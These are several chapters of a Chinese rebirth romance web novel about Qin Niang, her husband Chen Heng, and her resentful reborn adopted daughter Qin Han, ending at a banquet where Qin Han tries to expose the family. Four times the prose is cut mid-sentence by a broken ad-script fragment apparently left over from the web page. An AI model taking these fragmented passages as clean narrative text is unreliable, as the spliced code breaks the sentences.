他见秦馠回来,晃悠悠想站起来,却又倒了下去。 “钱呢?拿钱去给我买酒!”他伸手歪歪扭扭指着秦馠,“你想冻死老子!这么冷的天,也不知道买点炭火回来!” 秦馠看着他,目光怨毒。 他清醒时,她是绝不会露出这种目光的。 若不是知道他将来过了院试做了秀才,无论如何她也不会在这烂人身边待上一天! 这次她一定要跟他一起,陪他过了秋闱,上京赶考取得官身! “问你话呢!快把炭火点上!”沈鱼嘴里还在嚷嚷,“冻死老子了!” 秦馠走了过去,将干稻草胡乱抓了几把,扔在他身上。 “炭火?”她嘲笑道,“如今有柴火就不错了,还要炭火?你买得起吗?还当自己是大少爷呢!” 对了,柴。 她也冷,想着不如去买点柴,回来与这稻草一起烧了取暖。 上了街,秦馠才知道,现在干柴的价格竟十分昂贵,还只在城中沈记粮铺有卖。 “几根破树枝,也敢卖那么贵!”路上不停有人抱怨。 “谁知道这冷天还得多久才过去,不如忍一忍,熬一熬,说不准明日就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 晴了呢?” “我能熬,我们家三岁小儿和八十老母熬不住!” 路人议论不断,秦馠裹了裹身上披风,迈着小步快速往粮铺走去。 想来那“陈”公子,是会给自己几分薄面,便宜给些干柴的。 小雨还在淅淅沥沥,她撑了把油纸伞,刚过了街角,一道熟悉的身影窜入眼中。 是秦娘。 她身着华服,披着大氅,坐在轮椅上。 身后一婢女正推着她进去,身边一婢女拿了手炉放入她怀中。 陈公子小心为她撑伞,伞微倾斜,他的身子竟湿了一半。 秦馠停住了脚步,瞪大双眼看着这一切,不知不觉间手已捏成了拳。 凭什么,她过的这样好? 上一世明明她一直未嫁,日渐衰老…… 难道自己重生后的改变,也影响了其他人? 若是当初还按照自己的命运走下去…… 她不敢想。 其实回想起来,上一世她过得并不差,只是因着与沈鱼的私情被秦娘硬生生阻断,害她错过了适婚年纪,年长未嫁,其余的事都很顺利。 如今不甘再次涌上心头,秦馠松开手理了理衣服,稳住步伐走了过去。 她倒想瞧瞧,秦娘和陈公子,到底是真是假。 秦娘看着掌柜的拿出一袋袋银钱,笑得合不拢嘴。 短短几日竟赚了这么多。 “还剩多少?”她往后院那几间房看去。 “不多了。”掌柜的此时面对她更显恭敬,眼睛笑成了一条缝,“整整五间房!如今只剩那一间里还有些。夫人,这次我们可赚大了!” 众人正高兴,见一女子进来,忙收了笑容。 店小二迎上前:“小娘子过来采买何物?我们这儿黍、栗齐全,还有干柴。” 秦馠合了伞,施施然走到陈衡面前,低身福道:“公子,可还记得奴?” 陈衡默默退后了一步,眼神陌生。 虽然只有两面之缘,可他……竟把自己忘了! “奴是沈家家奴沈鱼的……”她咬了咬下唇,“妾室。” 予安忙挡在陈衡面前,隔开两人:“一个家奴的妾室,还敢擅自跑公子面前!有什么话,同我说,我会转告我家公子。” 旁边玉蕊悄声与莹秋耳语道:“一个家奴,也有妾?我看是无媒苟合吧!” 莹秋碰了碰她的胳膊,示意她闭嘴。 秦馠听了这话,满面通红,恨不得上前撕了对方的嘴。 可她不想在公子面前失了分寸,只得忍着:“妾家中湿冷,听闻公子这儿有卖柴,想来买一些……” 予安一脸傲然指了秦娘:“那是我们主母,公子说了,我家生意全凭主母做主!想买柴?去问我们主母!” 主母? 她不可置信的看着轮椅上正襟危坐的人。 她竟真成了公子夫人? “不、不可能!”她忍不住叫出声来,“无媒苟合!你们说我无媒苟合!你秦瑶不也是!” “放肆!”予安怒道,“我们夫人那是有婚书在的,正儿八经的明媒正娶!谁敢诬陷我们夫人?” 秦馠将目光投向陈衡,盼着他拒绝一句,哪怕说一声“秦娘不配给他做正室”,也是好的。 不料陈衡却冷冷道:“阿瑶正是我明媒正娶的娘子。” 秦馠听了,满目绝望。 31. 娘子委屈 “好一个明媒正娶!” 秦馠缓缓走到秦娘跟前.居高临下的看着她。 这是重生以来,她头一次如此打量这个养母。 秦娘的神态不再如上一世般总是疲惫。 那微垂的眼眸、雍容的气度、光洁的面容,甚至额上那枚花钿,仿佛都在无声的嘲笑着她。 笑她明明重活一世,却有人比她活得更好! 秦馠的手已被冻的发红,骨节分明。 她将手紧紧握成拳头,使出全身力气不让自己发抖:“是我眼拙了,你竟生的这样一副皮相,勾的公子竟答应你一介村妇做正室娘子!你就不怕以你的身份,说出去惹人笑话!” 秦娘沉声道:“你我已断绝亲缘,我惹不惹人笑话又于你何干?当日你说再也不要我插足你的事,我应下了,也做到了。怎么,如今你是后悔了?” “哈哈……”她大笑起来,“你以为你会一直如此得意下去?你又明白些什么?不过是靠着一副好皮囊找了男子做你的倚仗。我后悔?我以后只会比你好!” “去去去!”玉蕊在一旁听不下去,摆手赶人,“你好不好和我家夫人有什么关系,打哪儿来你回哪儿去!” 掌柜的也轰起人来:“这小娘子怕不是得了癔症,在我们店里发起癫来!这柴我们也不卖了!赶紧走!真晦气!” 一阵冷风从门外袭来,秦馠终于忍不住哆嗦了一下,之前那股子劲儿,一下子泄了下去。 夫君无靠,如今的沈鱼还是个整日买醉的酒徒,她必须靠自己! 秦馠被赶出了粮铺,一个人失落的走在路上。 想起前些日子,她苦练琴艺,好不容易在第一次当众比试时拔得头筹,是同期最引人瞩目的琵琶女。 那日城中一些酒楼向她递来了邀贴,商徵却让她潜心学艺,替她拒了。 此时路过一处酒楼,里头阵阵暖香气扑鼻而来,靡靡之音传入耳中…… 她最终还是踏了进去。 * 陈衡吩咐粮铺的掌柜,去将银钱换成银票,给秦娘送去。 之后众人便回了后寺巷的宅院。 娇娇这几日潜心修学,每日先等教书先生上门,后等商徵授琴,用了午饭后再到绣坊,功课排的紧密。 等从绣坊回了家,见到秦娘回来,十分高兴,贴着她问东问西。 “娘的伤还疼吗?可恶!到底是谁,把娘伤成这样!”她气鼓鼓道。 秦娘这几日躺在床上,已把这个问题想了千百遍。 原她以为是小桃故意设计,后见到那日小桃冒雨在庄子口等她,她就知道不是小桃。 之后她又以为是沈鱼和秦馠,要报复她当日婚宴上扮两人难堪。 今日一见秦馠,她打消了这个念头,这两人如今自顾不暇,已无心力来纠缠自己。 那会是谁? 她将目光投向陈衡。 公子一定查了。 陈衡正在书案前,修长的玉手拿起一块乌黑的墨锭,细细打圈研磨。 余光瞥见她看自己,头也不抬道:“此事是我沈家对不住你。” 秦娘微微一滞,才明白其中关键。 能雇得起人来做这种买凶杀人的事,只有沈家了。 那兄弟两个在狱中关押,此事能做得了主的,只有沈家那老夫人。 “既是家事,我便不管了,凭夫君做主。”她道。 沈家老夫人不老实,他陈衡自会收拾。 事已至此,他好不容易将沈家一切纳入囊中,断不会让那些人再兴风作浪。 “怎么能不管了?娘亲!”娇娇虽听不明白,却也气愤,“若那人是故意害你,为何不报官?” 秦娘捧着她的小脸笑道:“你是不相信爹爹会替娘亲报仇吗?” 娇娇看了眼正忙碌的陈衡,歪了头想了一下,认真道:“爹爹老谋深算,我信!” 陈衡研墨的手停了。 在一旁侍候的予安见状,忙接了过来继续。 “过来,爹爹考校你一番。”陈衡道。 娇娇头摇的跟拨浪鼓似的:“爹爹放心,近日我书画颇有进步,已经有不少人托绣娘来问,还要高价请我到邻城更大的绣坊去做绣谱!” “你想去?”秦娘见她兴致勃勃,留了个心眼。 女儿在这方面有所建树,做娘的自然高兴,只是她也懂得揠苗助长的道理。 琴棋书画,必得潜心研修,最忌浮躁。 若是只为画了卖,每日速成,只会磨了灵气。 娇娇犹豫:“娘,你说,我全听娘的教导。” 秦娘耐下性子,娓娓道来,将其中权衡利弊一一说给她听。 有道是娶妻娶贤。 陈衡拿起手边软毫边听边在纸上写着,不知不觉间嘴角露出一抹笑。 难得的岁月静好。 很快,这种平和便被打碎了。 刀剑风风火火的从门外闯入:“陈大公子,我就出去两日,怎么门口就多了两个人来向你讨债?” “谁?谁敢讨债?”予安皱着眉头。 “我哪知道,还是两个妇人——”刀剑挑眉,“哟,不会是来讨情债的吧!” 陈衡将手里的毛笔直直扔向他!笔尖正中眉心,他额上登时留下一点黑墨。 刀剑委屈的捂着额头,正欲向秦娘告状,见她坐在轮椅上,震惊道:“我就出门一趟办了点事,秦娘子你怎么就沦落到坐轮椅了?” 不等秦娘回答,予安急急忙忙拽上他:“快带我去看看!” 两人又风风火火的冲出了院子。 秦娘吩咐绿华雪香将娇娇带去厢房,转头见陈衡稳坐。 他是一点不慌。 “你不去迎客?”秦娘心头飘过无数猜想,若不是她走不了路,此刻早飞奔出去了。 陈衡继续练字:“此时来客,除了沈宅,还能是谁?” 话音刚落,予安便带着两位婶婶进门了。 是吴氏和姜氏。 两人一进来就哭哭啼啼跪在了地上。 秦娘吓得差点从轮椅上蹦起来,长辈给小辈下跪,这不是折寿吗? 她忙叫小桃几个把人扶起来。 这两人见到秦娘坐在轮椅上,并未露出惊讶神色。 “大郎!”姜氏一张口直喊得亲近,“你快回去 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瞧瞧吧!” 吴氏抹了把眼泪:“好孩子,你祖母病重,如今正躺在床上,等着见你……” 秦娘傻了眼,怎么刚买凶杀人没几天,这会儿又不行了? 怕是这两人想骗陈衡回去,另有目的。 陈衡撂了笔,皱眉道:“恐让两位婶娘失望了,侄儿对医术一窍不通。” 姜氏和吴氏齐齐愣了愣。 刀剑靠着门边看热闹,此时也忍不住道:“病重还不赶紧去找郎中,我们这儿又不是医馆!” 两位这才从中回味过来,姜氏嘴快道:“前几日那事,是老夫人糊涂了!如今她悔的日日恼恨,水米不进,眼看就要不行了……” 姜氏悄悄碰了下吴氏胳膊,给她递了个眼色。 两人一前一后跪下,又趴在秦娘脚边,扯着她的裙角哭啼:“好孩子,老夫人说了,她对不住你,此刻只想求你原谅,你就回去看她一眼吧!” 秦娘这副样子,也懒得折腾。 她弯腰假意艰难去扶两人:“两位婶婶快请起,你们也看了,我这极不方便……你们有什么话,便直说了吧!” 吴氏和姜氏互相看了一眼,这么快被人拆穿另有目的,两人只得擦干假惺惺的眼泪。 吴氏脸色凝重,说了实话:“是老夫人叫我们来的,不,也是我们自己愿意来的。侄儿能否放你叔父一马,当初那事是我们对不住长房,铸成大错……” 姜氏见她吞吞吐吐,忍不住抢话,道:“老夫人在家中寻死觅活、以死相逼,只求侄儿能放过你那两位叔父!” 吴氏瞪了她一眼,转头道:“是以死谢罪,你祖母她愿一死,换你两位叔父的性命!” 姜氏忙点头:“家丑不可外扬,你祖母说了,只要撤了诉状,他们回到家随你打骂折辱!” 两人你一言我一语的劝着,丝毫没有发现,陈衡的目光更深沉了。 待话音落下,室内安静下来。 两人说的口干舌燥,两双目期盼四溢。 “说完了?”陈衡依旧赏着眼前方才写好的字,喝道:“送客!” 只见予安带了手下另外几个小厮闯了进来,一群人围着两位婶娘,要把她们撵出去。 姜氏见事情没了转圜余地,骂道:“你们可是至亲!若沈家倒了,你以为你母氏陈家能靠得住?” “还有你!”她看向秦娘,“你以为你是什么好东西!小小年纪学了这么些个肮脏的手段,闹得我们妯娌失和!亏得我当初如此待你!” “啪——”书案上头的镇纸被陈衡重重压在纸上,清脆声在室内回荡。 陈衡冷声道:“用不着婶娘费心。你们先害我父,又欺我母,夺了我双亲的一切,享了几十年的荣华,如今又买凶取我妻的命!” “放了你们,天理不容。” 他微微抬眸,目中点漆黑亮,杀机四起。 姜氏曾见过这熟悉的眼神,顿时打了个冷颤,冷静下来。 她还要留着这条命改嫁。 夫妻本是同林鸟。 吴氏也是同样想法,大难已至,各自飞。 至于婆母的死活,不是她们两个外姓人该操心的。 32. 娘子不配 又过了几日,乌云散尽,天渐渐晴朗。 花草树木从寒冷中又活了过来,晨光照在枝叶上,给冒出的嫩芽镀上一层金光。 不会再冷了。 秦娘早起,望着天边初升的太阳,心道这正是播种的好日子。 她的腿脚伤依旧没好,但经过修养,已能借着旁人的搀扶走几步路了。 公子还未起? 秦娘往东厢房看了看,里边暂无动静。 莹秋扶着她在院子里转了两个来回,见四下无人,都在屋里忙着,于是悄悄道:“夫人,小姐也大了,夜里大可由我们几个轮流陪着,您……您的伤也渐好,何不早日搬回公子的屋里?” 自打她被买下,来这小小宅院侍候,从未见过公子与他娘子同屋。 当初只当是两人拌嘴,夫人离家了两日,归来后还在气头上,宁愿和女儿住一块儿。 可眼看着都这么久了,公子也没有叫她搬回去的意思。 秦娘听了这话猛咳了两下,极力掩饰尴尬:“伤还未好,你们公子每日操劳,夜里若睡不好,是会误了白天的事。” 莹秋感到一丝怪异,却也劝道:“时间久了,万一其他人生了心思……您看玉蕊单纯,雪香还小,那绿华和小桃却不是老实的,我见她们两个整日里那眼睛,都快粘到公子身上了!” 正说着,门外马声嘶鸣,马车停到了门口。 “起开!我要回去睡觉,大半夜把我叫起来陪你办事!还让我给你当马夫!你这人真没良心!”刀剑的埋怨声从门外传来。 原来这两人此时才回来。 秦娘正要迎上去,忽听陈衡叫住了刀剑。 “今日还要安排庄上事宜,不能睡。”他的声音沉沉,甚是疲惫。 “庄子的事不是有你那个娘子吗?”刀剑不情愿,“怎么,你见她受伤,不忍心让她替你操劳了?你不会真看上她了吧!” 秦娘整个人绷直了身子。 “……能为女色所惑,实非君子。”陈衡一字一句,字字清晰,传入她的耳中,“我不过看她聪慧,又会谋算,且了解当地民风,用她一番而已,若回了京,自有良配!” 刀剑松了一口气:“她是村妇,身份实在与你相差甚远,就算你想娶,陈家、各方大臣早视你为他们的棋子,京中不多少贵女等着嫁你……你千万要自持,她虽美貌,给你做妾都配不上你!” “我知。”陈衡不耐烦道。 秦娘僵在原地,手脚冰冷。 之后的话她一个字也听不进去,只让莹秋速速扶她回屋。 莹秋沉默着,不敢再多说一句。 * 田庄一切准备妥当,秦娘带着一队人马,拉着数十辆牛车来到了村口。 之前田庄的消息已传遍整个村子,此刻村口人声鼎沸,人头攒动。 “秦娘子,这庄子真会和我们签订契约?”有人拉着她东问西问,“不会是骗我们的吧!” 秦娘纵是被两个丫鬟搀扶着,也被围了个水泄不通。 有人得了承诺,欢天喜地的拿上农具,上了后边的牛车。 “都给我下来!”里正老头弯着腰,气喘吁吁的跑了过来。 也难为他年纪这么大,背都驼了,还能一路小跑。 村民们平日里唯他马首是瞻,如此一吆喝,正准备上牛车的人慌忙把手里农具扔在地上。连已坐在牛车上的人,都默默低下头,生怕里正看清了他们的相貌。 “好啊你们!敢私自离村,到别的庄子去种地!”他气还未顺,就大声嚷嚷,“你们、你们就不怕张家派人,来抓你们!” 小桃从马车里拿了张小凳,扶着秦娘坐下。 “老丈。”秦娘坐好了,才不慌不忙道,“您放心,大家都是一个村子,我又不会害了大家,只是到别处做些散工而已,为何不允?” “说的没错!”叶家那胖嫂早想让自家男人出去多赚点,她生怕此事告吹,挺身而出道,“都一个村儿的,怕什么?咱们跑又跑不了,傍晚下了工就回来了,他张家有何理由来抓!大伙是是不是!” 众人见有人出了头,也不再藏着掖着,纷纷附和道:“是!正是这个理!” 里正急得直拍大腿:“你们一个个的!咱村子里的地都种完啦?自家的地都顾不上,还跑去帮别人种地?不成!今儿谁家地里的活干完了,才能走!” “欸,要你管那么多?”叶大嫂那白胖的手指一下指着老里正的鼻子,“我家的地我爱什么时候种就什么时候种!” 她又回身使劲儿推了自己男人一把,“还愣着干嘛?走!” 在她的鼓动下,大家纷纷拾起地上农具,往牛车上跳。 “好,你们不识好歹,我这去张家!”里正手指青天,“我还要报官!我不怕告诉你们,你们这些地全属太子府土地!你们这一走,统统不用再回来了!” “什么?”村民傻了眼,“这地我们种了百年,怎么一会儿是张家,一会儿又变成了太子的地?” “张家早在收了你们的地之时,就以张家之名全部献给了太子!” 此话如五雷轰顶,在所有人心头一震。 秦娘眼皮直跳,陈衡若真是太子府詹事,竟不知此事? 涉及朝堂,她不敢多做决策,于是问道:“里正,你说的可千真万确?那日你也看到,京中官署正派人下来调查此事,万不敢胡言论语!” “若有胡言,天打雷劈!”里正指天发誓。 秦娘吩咐小桃,找个可靠家丁立刻把这消息告知陈衡。 若里正所言不虚,陈衡身份不假…… “既然是太子封地……”她稳下心神,“里正更不用忧心!如今我们正要去的庄子,正是太子手下陈家的庄子!” “你说什么?”里正那早已枯皱的双眼猛地瞪大,“太、太子的人?” “正是!大家可放宽心!” 她振臂一呼,众人纷纷松了口气,兴高采烈的上了牛车,催促着快走。 里正呆在原地迟迟未动。 待秦娘也被扶上了马车,他才突然醒悟,大叫一声,奔向张家。 莹秋上了马车,问道:“娘子适才不是诈他?公子真的是太子的人?” 秦娘点点头。 她回想之前,觉得陈衡没必要在身份上骗她,是真是假,还要看他收到消息的反应 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' …… 玉蕊笑道:“我早看公子气宇轩昂,翩翩玉立……贵气……贵气冲天!” 小桃翻了个白眼:“不会就别乱说。” 几人一路说笑回了庄子。 秦娘自是没什么心情听她们插科打诨,一路上兴味索然。 莹秋看她一副魂不守舍的样子,知她正想今早的事,也渐渐闭了嘴。 公子身份贵重,相貌俊美,却未娶妻,也不知他在京城家中,可否有女眷作伴…… 想到此,她忽被自己吓了一跳,偷偷瞥了眼秦娘,收起了心思。 田庄到了。 众人很是兴奋,各家去排队分地领了种子,甚至还分得一间暂作歇息的房屋。 陈衡将一切打理的井井有条,他已得了消息,见到秦娘艰难下了车,便走过去相商。 可没想到,秦娘垂眸冷着脸,一见到他,忽与身边丫鬟们道:“家里忘了些东西,人既然送到了,我们回去。” 陈衡刚伸出的手僵在半空,又撤了回来。 “阿瑶稍待!”他喊出声,只解释了一句,“你递来的消息,我已知晓。” “嗯。”秦娘随意道,“剩下的全凭郎君做主。” 说完她转身上马车。 也是她心急了些,一只腿脚本就使不上力,重心不稳突然一歪。 陈衡见状忙上去扶,还没碰到人,她整个身子就歪在他怀里。 四目相对,秦娘忙别过目光,满脸通红。 待将人扶正,气氛有些尴尬。 陈衡只得低声多说一句:“阿瑶放心,我的身份……自然不曾骗你。” 看来他的确是太子的人。 秦娘点头,什么也没说,上了马车。 马车刚停到了后寺巷的家门口,便收到一封邀贴。 莹秋接了过来看了看,道:“是张家送来的。” “你识字?”秦娘有些吃惊。 “小时候略学过一二。”莹秋躲闪道。 秦娘只顾着看邀贴,没把她的话放心上。 上边写着“陈家娘子”,看来他们已经知道了,沈家这位大郎,就是京城太子手下陈氏。 张家要办春宴,请了各府女眷,至于是真办,还是借着由头要对付陈衡,与她关系不大。 秦娘想都没想,对莹秋道:“等晚上公子回来,去回了他,这种宴席我懒得参加!” “这怎么行?”莹秋出言。 几个丫鬟纷纷看过来。 小桃不解,问道:“为何不行?” “这是城中大户人家今年春日第一场宴,一般是由领头的那家举办,这场若驳了,之后夫人您在江城,寸步难行。”她解释道。 “莹秋姐姐,你怎么知道这么多?”玉蕊眸子亮亮的,目光崇拜。 莹秋尴尬笑笑:“我曾服侍过一些太太。” 女子只有有官身在的夫君,才能被称为太太。 莹秋这丫鬟来历倒不小,秦娘暗道。可这与自己又有何干?她又不是那些夫人太太。 她打定了主意不去。 若真去了,哪天自己这假身份被拆穿,怎么还有脸在江城混。 33. 是鸿门宴 最终秦娘还是去了。 一是因她得了消息,张家的亲戚,京城德毅侯府的世子夫人正在张家作客。 怎么着也是个侯门,若能打听些左家的事,也好助娇娇少走弯路。 二是已过月余,她的腿脚差不多好了,慢些走也看不出跛。 这日待她与娇娇梳洗打扮完毕,马车已等在门口,上了车,她才发现陈衡也在。 且他今日着一件暗紫襕衫,头戴玉冠,十分正式。 今日四位丫鬟都跟着,又是去他人家中拜访,不便逾越,所以丫鬟们都跟在马车两旁,未上来。 秦娘也不必再装做夫人端着,她忍不住打量了他几眼,问道:“公子这是去往何处?” 陈衡手轻握拳,放在嘴边咳嗽了一声,掩住尴尬,回道:“和阿瑶一道,去张府。” “这帖子上也没请公子。”她又低头仔细看了看手中请帖。 “我自然进得去。”他反问道,“阿瑶这是不想让我去?” “不敢。”秦娘答。 答完这一句,车厢里气氛诡异,若不是娇娇在,她怕是早忍不住逃下车,去跟丫鬟们一道步行了。 还好张家离后寺巷不远。 到了门口,张府已是四门大开,广迎宾客。 秦娘递了邀贴,被人引了进去,陈衡却被拦在门外。 “这位客人,您的帖子……”张府管事见他玉面公子,也不敢造次,恭敬问道。 不等秦娘说话,娇娇及时回头,甜甜叫了声“爹”。 管事小心翼翼:“今日我们府请的都是各府夫人,这位爷可否改日再来?” 陈衡递上了拜帖:“广源世子在此,特来拜访。” 秦娘带着娇娇走远,也不知他进来了没。 陈府比沈家大的多,转过影壁,又绕过回廊,她只觉得走了很久,才到了一处精致小巧的园子。 内有凉亭,对面可观湖水,此刻里边已坐了些妇人小姐。 下人报上秦娘名号,众人纷纷打量起她。 “陈家娘子?哪个陈家?”一人道。 另一妇人摆了摆手,道:“不是我们陈家,我从未见过。” 为首的张家夫人,招了招手,唤她过去:“这是京城陈家来的陈娘子,来,快带着姐儿入座。” 张夫人已年过四十,身子有些发福,面团一样白大的脸上,敷着一层白粉,头上钗与耳上坠皆为碧绿翡翠,将她整个人衬得富贵逼人。 她身旁上座还坐着一个曼妙女子,小巧的脸,一双美目流转,发髻高耸,正中只戴了只粉色牡丹,双耳各一串白色珍珠,虽清素却也让人觉得精致贵气。 能坐那个位置的,想必只有世子夫人了。 细看之下,她和张夫人眉眼间有些相似。 秦娘带着娇娇上前,行了礼。 上座的人将手中玉杯轻轻放下,盯着秦娘道:“京城陈氏?敢问是陈家哪一位郎君?为何我从未见过你?” 秦娘将早已备好的说辞拿出来:“回世子夫人,我家郎君原是这江城沈家大郎,京城陈氏嫡女之子。” “原来是陈公子家的,快请起。”世子夫人目光忽变得凌厉,“我记得陈公子并未娶妻。” 陈衡风华正茂,又一直受太子器重,世子夫人自然见过他几次。 他的婚事由不得他自己做主,各家未嫁的贵女都等着呢,何时又冒出来一个“娘子”。 秦娘硬着头皮道:“我们是……娃娃亲。” 世子夫人面色这才软了下来:“原来如此,既是自小订下,想必陈娘子就是这江城人氏吧?” 这门婚事在京城无人知晓,怕是当年在江城订下的。 “正是。”秦娘点头,暗道幸好沈家那两个夫人再无资格出席此等宴席,不然自己这身份就要被拆穿了。 众人嘀咕:“沈家长房那位当年官至四品,也不知给小郎君挑门好婚事。” “这娘子我们都未见过,一定是小门小户的女儿。” 世子夫人笑笑,她原想追问下去,听人如此议论,又觉不妥。 反正回了京,向陈家几位夫人一打听,便可知真假,今日也不必认真追究。 张夫人忙安排宴会开始,向众人道:“城中近日有一琵琶女,琴技出众,今日正巧请到家中,为大家赏花助兴。” 正说着,只见亭子对面湖中飘来一小船,船上一女子身披薄纱,正抱着一把琵琶。 娇娇正是对一切好奇的年纪,她瞪着眼睛看了片刻,扯了扯秦娘的衣袖:“娘,那好像是……大姐!” 秦娘忙捂上她的嘴。 她何尝没有看出来! 早在看到船上那抹影子的第一眼,她就知道,那是秦馠! 身边有夫人闲话:“这琵琶女常在常庆酒楼,上次我家夫君带我去看过。” “常庆也算得上是最大的酒楼了,能在那里边的姑娘,都不简单。”有人略带讥讽说道。 “这些人,哪个不是如此?没点姿色手段,哪轮得到她们!” 众人言语中皆是瞧不起。 秦娘望着小船,紧皱眉头。 一道如裂帛般的音色,在湖中炸响。 曲子开场,秦馠稳坐水中央,一手按弦一手拨弦,全神贯注的弹奏着。 众人被这曲子吸引,皆不再作声,认真听赏起来。 这是一首新曲,名为《雁落》。 秦娘不禁想起上一世,娇娇正是凭借这首《雁落》脱颖而出。 不过中间几个地方好像与娇娇奏的不太一样。 上一世她听过多次,所以印象十分深刻。 秦馠把它改了! 这首曲子若想弹奏的好,需大量技巧,秦馠为了取巧,快速练成,于是把中间几个难的地方,全改了! 她倒是聪明。 此时无论是读书还是学艺,做学生时只能照着书读、照着谱子练,不到大家水平,谁敢乱改写曲谱?那是大逆不道! 所以若不是行家,能听得出来,根本不会有人想到她会改了曲谱。 一曲下来,大家听得已是如痴如醉。 “能在常庆酒楼里待的琵琶女,果真是有些本事的!” “这曲子从未听过,真好听!” 张夫人看了世子夫人一眼,见她神色满意,吩咐道:“让那琵琶女过来领赏,给我们见见!” 很快秦馠抱着琴施施然走进凉亭。 她看到了秦娘。 “给各位夫人见礼了。”她微微侧身,福了一福。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 绣娘的活向来不用外表光鲜,秦娘从未见过秦馠如此装扮。 她走起路来如弱柳扶风,一抬头,瓜子小脸上那双杏仁圆眼水汪汪的,惹人可怜。 如同秦娘第一次见她时的模样。 张夫人一笑,十分喜气:“这位秦姑娘奏的不错,不知这首是何曲?” 秦馠回道:“回夫人,此曲名为《雁落》,是奴自己谱的曲。” 秦娘愣了。 原来她是窃了上一世的名曲!难怪如此大胆,竟敢随意改动! “好!”张夫人赐下赏赐,“想不带你竟有如此才华,还能谱曲!赏!” “过几日我家有宴,你也过去,赏赐少不了!” “我家老爷马上要过寿,你也来一趟,到时府中派马车接送!” 众人你一言我一语,皆是请她过府,好不热闹。 “谢夫人。”秦馠扯了下嘴角,余光往这边瞥来,“想不到昔日故人,今也能上此处,与各位夫人们坐在一起了。” 她轻飘飘的一句话,惹得众人齐齐将目光投向秦娘。 “原来陈家娘子是……” “有什么不敢说的,原来陈家娘子从前是艺伎出身。” 秦娘立刻道:“不敢当,我虽是小门户的女儿,却也出身清白,与秦姑娘这种贱籍比不得!” “你!”此语一下子戳中了秦馠痛处。 她也曾出身清白。 往日种种浮上眼前,若不是秦娘从前步步紧逼…… 她把一切都归咎于秦娘身上。 “哼,虽不是贱籍……”她指了指秦娘身边的娇娇,“这位陈家小姐正是我同门师妹。” 与秦娘席位左右挨着的夫人们,都往两边躲了躲,目光中带着鄙睨。 “世子夫人明鉴。”秦娘不卑不亢,望着上座道,“我家女儿是请琴师到宅中教学,学的七弦,断不会像秦姑娘一样,随意抛头露面。” “原来如此!”众人松了口气,目光又和善了起来。 世子夫人终于发话:“既是七弦,不如让在座的各家小姐,都弹奏一曲?” “我家小女是自小学了的,世子夫人想听,自是十分愿意献丑。” “我家也不差。” 有人捧场,有人巴结。 张夫人吩咐丫鬟去搬一张琴来:“那就让众位小姐都比试比试,秦姑娘也点评一番?” “承蒙夫人看得起。”秦馠谢过,抱着琵琶站到一旁。 在这种场合,她是没位置可坐的。 琴搬来调音后,各家小姐一个个上场。 秦娘跟娇娇耳语道:“你觉得如何?只是助兴而已,你学的时日少,不必太过忧虑。” 娇娇点点头,兴奋道:“娘,我不怕,瞧她们,弹得也比我好不到哪儿去。” “好,今日就考校一下你的琴技。”秦娘笑道。 她知娇娇在此方面是有天赋的,所以毫不担心。 几位小姐虽弹的都是一些流传闺中的小曲,却也奏的认真规矩,一曲曲听下来不乏精彩之处。 临到娇娇上场了。 她坐在琴桌前,手抬起,颇有架势。 一旁秦馠讥笑道:“才学了几个月,还想和各位闺阁小姐比。” 34. 她也重生 秦馠的声音不大不小,正好被全场听了个清楚。 连各位夫人小姐身后跟着的丫鬟,都纷纷掩嘴偷笑。 “怎么,陈公子把你们母女扔在江城这么多年,竟是不久前才让小女得授课业?”世子夫人出声问道。 不等秦娘起来回话,娇娇起身一福,大方回道:“回夫人,自三岁起我爹就请了闺塾师,不止写字,还有画师教我作画,只是琴艺是我最近想学,爹爹才找了琴师教授。” “看来……道听途说也不可尽信。”大家小声议论。 世子夫人满意的点头:“这小丫头倒是颇有气度。请奏吧。” 众人闭了嘴。 娇娇拨弦一气呵成,音色如流水般从琴弦流出,之后攸然停住。 一根弦挑起,再到下一根,完全不似开头的流水般欢愉,突变得静谧。 这是《清心咒》。 虽说是一首佛教小曲,弹起来也并未难度,可大多数人沉不下心,只注重技巧,奏不出这般清心寡欲。 上座的世子夫人闭了眼,闻着案前袅袅升起的熏香,只觉得此时心头连日烦躁皆被压了下去,整个人沉浸在一片空旷的山野中。 闻花听鸟,赏湖中波光粼粼。 一曲终了,众人皆醉。 “赏。”世子夫人开口。 秦娘借此机会,给身后丫鬟递了个眼色,几人各拿出一册画册,献予世子夫人与众人。 “各位夫人,这是我家小女独门,她自小喜爱并精于此道,今日借此献给各府赏玩,权当第一次见面之礼。”她将其中一册献给世子夫人,“小女闲时之作,愿博夫人一笑。” 众人接过,竟是一幅幅精美的绣谱。 “这绣谱,别具巧思!”有人很快喜欢上了其中画作,“这幅花团如此别致,绣在衣服上一定好看!” 秦馠在一边看着,脸都绿了! 上一世她是绣娘,关于这绣谱她在清楚不过!会作画的绣娘本就不多,其他作画之人也并不愿意专为刺绣作画,所以绣谱往往十分珍贵。 像黄氏这种绣坊为何经久不衰,是族里有人专画绣谱,绣出的东西自然独一无二,受贵人追捧。 为何秦娘会想到让娇娇避开不擅长的刺绣,另辟蹊径学画绣谱? 一个大胆的念头浮了上来:她同自己一样!也重生了! 世子夫人翻开绣谱,见上边是一幅红日飞鸟图,那鸟展着漂亮的长尾羽毛,似凤似凰,仔细看却又像孔雀。 这图极适合用作闺房屏风,鸟儿巧思,也并不逾矩。 “你这女儿,可着实有意思。”世子夫人神色愉悦,“夫人平日里若无事,可多来府上坐坐,我和世子在江城还会再住些时日。” 秦娘大喜,这条线总算搭上了。 张夫人笑眯眯道:“秦姑娘,几位小姐琴艺如何?” 秦馠上前跪拜:“回夫人,各位小姐皆有所长……只是……” 她脸色一变,厉色看向秦娘。 秦娘心中暗道不好! “据奴所知,这陈家小姐根本不是陈公子的骨血!”她指着娇娇大声道。 “怎么会?”众人大惊。 张夫人收起笑容,脸上横肉下坠:“这可由不得你一个伎子胡说!” “千真万确!”秦馠指天发誓,“我与她们是旧相识,常常聚在一起,她们的一切我再清楚不过!” 